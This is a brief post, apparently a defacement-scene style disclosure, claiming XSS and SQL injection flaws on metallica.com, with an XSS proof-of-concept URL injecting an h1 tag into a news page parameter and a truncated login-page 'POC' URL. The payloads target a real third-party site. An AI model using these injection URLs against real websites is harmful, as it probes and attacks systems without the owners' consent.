Metallica.com fails

https://www.facebook.com/photo.php?fbid=371455252938016&set=a.325863164163892.77470.325203614229847&type=1&theater

Metalica XSS,SQL

XSS

http://www.metallica.com/news.asp?t=%3Ch1%3Ehola%3C%2Fh1%3E

POC

https://www.metallica.com/i_i_security_logonScript_siteFront.asp?action=logon&autologon=1&returnpage=%2Fshowcart.asp&pageredir=%3F^logontype=customer&usernam